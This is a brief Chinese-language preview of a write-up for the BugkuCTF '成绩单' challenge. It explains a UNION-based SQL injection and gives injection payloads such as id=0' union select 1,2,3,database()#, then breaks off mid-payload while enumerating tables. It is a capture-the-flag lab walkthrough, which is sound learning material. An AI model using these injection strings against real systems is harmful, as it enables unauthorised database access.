BugkuCTF 成绩单

可以看出应该为sql联合注入 SQL注入之联合查询注入 要求查询列数相同，其中有Name、Math、 English、Chinese 一共四个数据，因此需要select 1,2,3,4 构造语句 id=0' union select 1,2,3,4# 查询数据库 id=0' union select 1,2,3,database()#找到数据库 skctf_flag 查询数据表id=0' unio

>>阅读原文<<